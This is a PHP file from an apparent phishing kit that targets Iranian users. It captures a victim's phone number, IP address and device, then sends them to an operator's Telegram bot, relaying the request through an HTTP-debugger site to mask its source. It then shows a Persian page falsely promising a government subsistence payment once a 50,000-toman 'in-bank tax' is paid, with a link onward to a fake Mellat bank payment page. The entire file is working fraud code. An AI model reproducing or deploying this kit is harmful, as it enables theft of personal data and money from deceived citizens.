<?php

include_once 'info.php';
$Phone = $_POST["Phone"];
function getip(){
    if(isset($_SERVER["HTTP_CF_CONNECTING_IP"])){
        return $_SERVER["HTTP_CF_CONNECTING_IP"];
    }else{
        return $_SERVER['REMOTE_ADDR'];
    }
}
$ip = getip();
$Device = rtrim(explode(' ',$_SERVER['HTTP_USER_AGENT'])[4],")");

$Text = "  
~New Target login
Phone: <code>$Phone</code>

@phonixhouse
";
$encodedText = urlencode($Text);
$telegramUrl = "https://api.telegram.org/bot$TOKEN/sendMessage?chat_id=$ID&text=$encodedText&parse_mode=HTML";
$httpDebuggerUrl = "https://www.httpdebugger.com/tools/viewhttpheaders.aspx";
$payload = [
    'UrlBox' => $telegramUrl,
    'AgentList' => 'Google Chrome',
    'VersionsList' => 'HTTP/1.1',
    'MethodList' => 'POST',
];
$options = [
    'http' => [
        'header'  => "Content-Type: application/x-www-form-urlencoded\r\n",
        'method'  => 'POST',
        'content' => http_build_query($payload),
    ],
];
$context  = stream_context_create($options);
$response = file_get_contents($httpDebuggerUrl, false, $context);

?>

<!DOCTYPE html>
<html lang="en">

<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1, maximum-scale=1">
    <meta name='robots' content='max-image-preview:large' />
    <title>پرداخت</title>
    <style>
        @font-face {
            font-family: myFont;
            src: url('../Fonts/Shabnam-FD.ttf');
        }

        * {
            direction: rtl;
            font-family: myFont;
            font-weight: 500;
        }

        .asd {
            width: 100%;
            height: 90vh;
            display: flex;
            flex-direction: column;
            align-items: center;
            justify-content: center;
        }
        .ghb {
            width: 90%;
            height: 90vh;
            display: flex;
            flex-direction: column;
            align-items: center;
            justify-content: center;
        }

        .asdad {
            display: flex;
            align-items: center;
            justify-content: center;
            text-decoration: none;
            margin-top: 15px;
            width: 125px;
            height: 35px;
            border-radius: 8px;
            color: #fff;
            background-color: rgb(104, 77, 255);
            border: 0;
        }
        .f {
            text-align: justify;
            font-size: 17px;
        }
        .tt{
            font-weight: 500;
            font-family: myFont;
        }
    </style>
</head>

<body>
    <div class="asd">
        <div class="ghb">
            <img src="./IMG/logo.png">
            <p class="tt">شهروند گرامی کمک معیشتی آماده دریافت است</p>
            <p class="f tt">اما قبل از دریافت کمک معیشتی شما باید مبلغ 50,000 تومان برای مالیات درون بانکی پرداخت نموده و بعد از
                پرداخت ، سود شما در وقت بانکی ، به حساب جاری مربوطه ارسال خواهد شد </p>
            <a href="./Mellat/index.php" class="asdad tt">پرداخت مالیات</a>
        </div>
    </div>
</body>

</html>